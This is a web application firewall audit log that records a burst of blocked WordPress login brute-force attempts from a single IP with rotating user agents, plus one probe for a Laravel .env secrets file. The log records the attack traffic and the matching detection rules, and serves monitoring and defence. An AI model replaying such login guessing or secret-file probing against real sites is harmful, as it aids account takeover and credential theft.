Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c374e84f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c374e84f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314014453222 1732 (- - -)
Stopwatch2: 1789314014453222 1732; combined=560, p1=247, p2=69, p3=0, p4=0, p5=244, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c374e84f-Z--
--ee05cd58-A--
[13/Sep/2026:18:40:14.863866 +0300] aqbD3vut1GUrjaX0wO45uAAAAMs 134.185.87.66 46500 127.0.0.1 7081
--ee05cd58-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--ee05cd58-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ee05cd58-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314014862082 1840 (- - -)
Stopwatch2: 1789314014862082 1840; combined=655, p1=252, p2=80, p3=0, p4=0, p5=323, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ee05cd58-Z--
--fd65fe28-A--
[13/Sep/2026:18:40:15.260792 +0300] aqbD3-ut1GUrjaX0wO45ugAAANQ 134.185.87.66 46504 127.0.0.1 7081
--fd65fe28-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--fd65fe28-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fd65fe28-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314015259061 1786 (- - -)
Stopwatch2: 1789314015259061 1786; combined=587, p1=238, p2=72, p3=0, p4=0, p5=277, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fd65fe28-Z--
--611fc962-A--
[13/Sep/2026:18:40:15.647117 +0300] aqbD3xsbgHO3aGL3jiTwygAAABg 134.185.87.66 33524 127.0.0.1 7081
--611fc962-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--611fc962-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--611fc962-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314015645096 2088 (- - -)
Stopwatch2: 1789314015645096 2088; combined=596, p1=232, p2=132, p3=0, p4=0, p5=232, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--611fc962-Z--
--e4b4810f-A--
[13/Sep/2026:18:40:16.036062 +0300] aqbD4Put1GUrjaX0wO45vQAAAMU 134.185.87.66 33532 127.0.0.1 7081
--e4b4810f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--e4b4810f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e4b4810f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314016034418 1700 (- - -)
Stopwatch2: 1789314016034418 1700; combined=626, p1=244, p2=117, p3=0, p4=0, p5=265, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e4b4810f-Z--
--0a5da405-A--
[13/Sep/2026:18:40:16.419582 +0300] aqbD4Put1GUrjaX0wO45vwAAANc 134.185.87.66 33562 127.0.0.1 7081
--0a5da405-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0a5da405-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0a5da405-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314016417904 1785 (- - -)
Stopwatch2: 1789314016417904 1785; combined=606, p1=255, p2=85, p3=0, p4=0, p5=266, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0a5da405-Z--
--feee1f37-A--
[13/Sep/2026:18:40:16.692569 +0300] aqbD4Put1GUrjaX0wO45wQAAAMQ 151.240.56.49 33588 127.0.0.1 7081
--feee1f37-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 151.240.56.49
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Accept-Encoding: gzip, deflate
Accept: */*
--feee1f37-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--feee1f37-E--
--feee1f37-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqbD4Put1GUrjaX0wO45wQAAAMQ"]
Stopwatch: 1789314016677553 15085 (- - -)
Stopwatch2: 1789314016677553 15085; combined=13960, p1=230, p2=13632, p3=55, p4=6, p5=36, sr=91, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--feee1f37-Z--
--71230b58-A--
[13/Sep/2026:18:40:16.811464 +0300] aqbD4Put1GUrjaX0wO45wgAAAM4 134.185.87.66 33604 127.0.0.1 7081
--71230b58-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--71230b58-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--71230b58-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314016809586 1952 (- - -)
Stopwatch2: 1789314016809586 1952; combined=608, p1=290, p2=89, p3=0, p4=0, p5=229, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--71230b58-Z--
--9d3b6a6a-A--
[13/Sep/2026:18:40:17.198591 +0300] aqbD4fut1GUrjaX0wO45xAAAAMs 134.185.87.66 33618 127.0.0.1 7081
--9d3b6a6a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9d3b6a6a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9d3b6a6a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314017196941 1758 (- - -)
Stopwatch2: 1789314017196941 1758; combined=579, p1=240, p2=69, p3=0, p4=0, p5=270, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9d3b6a6a-Z--
--d5785416-A--
[13/Sep/2026:18:40:17.580561 +0300] aqbD4fut1GUrjaX0wO45xgAAANQ 134.185.87.66 33632 127.0.0.1 7081
--d5785416-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d5785416-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d5785416-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314017578981 1659 (- - -)
Stopwatch2: 1789314017578981 1659; combined=527, p1=231, p2=61, p3=0, p4=0, p5=235, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5785416-Z--
--74d05d1b-A--
[13/Sep/2026:18:40:17.981916 +0300] aqbD4fut1GUrjaX0wO45ygAAAM8 134.185.87.66 33682 127.0.0.1 7081
--74d05d1b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--74d05d1b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--74d05d1b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314017980184 1786 (- - -)
Stopwatch2: 1789314017980184 1786; combined=538, p1=243, p2=71, p3=0, p4=0, p5=224, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--74d05d1b-Z--
--6f365444-A--
[13/Sep/2026:18:40:18.378728 +0300] aqbD4khjHs68UzErry1K8QAAAIY 134.185.87.66 33750 127.0.0.1 7081
--6f365444-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--6f365444-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6f365444-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314018366882 11908 (- - -)
Stopwatch2: 1789314018366882 11908; combined=535, p1=205, p2=68, p3=0, p4=0, p5=262, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6f365444-Z--
--fc48e404-A--
[13/Sep/2026:18:40:18.785685 +0300] aqbD4vut1GUrjaX0wO451wAAAMU 134.185.87.66 33826 127.0.0.1 7081
--fc48e404-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--fc48e404-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fc48e404-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314018784088 1652 (- - -)
Stopwatch2: 1789314018784088 1652; combined=586, p1=264, p2=62, p3=0, p4=0, p5=259, sr=125, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fc48e404-Z--
--0d52b94a-A--
[13/Sep/2026:18:40:19.174387 +0300] aqbD4-ut1GUrjaX0wO452wAAAMo 134.185.87.66 33872 127.0.0.1 7081
--0d52b94a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0d52b94a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0d52b94a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314019172788 1664 (- - -)
Stopwatch2: 1789314019172788 1664; combined=543, p1=231, p2=69, p3=0, p4=0, p5=243, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0d52b94a-Z--
--86d60930-A--
[13/Sep/2026:18:40:19.565861 +0300] aqbD40hjHs68UzErry1K9QAAAJE 134.185.87.66 33884 127.0.0.1 7081
--86d60930-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--86d60930-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--86d60930-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314019563997 1927 (- - -)
Stopwatch2: 1789314019563997 1927; combined=682, p1=313, p2=91, p3=0, p4=0, p5=278, sr=161, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--86d60930-Z--
--cf9aac42-A--
[13/Sep/2026:18:40:19.970803 +0300] aqbD4-ut1GUrjaX0wO453QAAAMQ 134.185.87.66 33902 127.0.0.1 7081
--cf9aac42-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--cf9aac42-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--cf9aac42-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314019968930 1935 (- - -)
Stopwatch2: 1789314019968930 1935; combined=662, p1=238, p2=93, p3=0, p4=0, p5=330, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cf9aac42-Z--
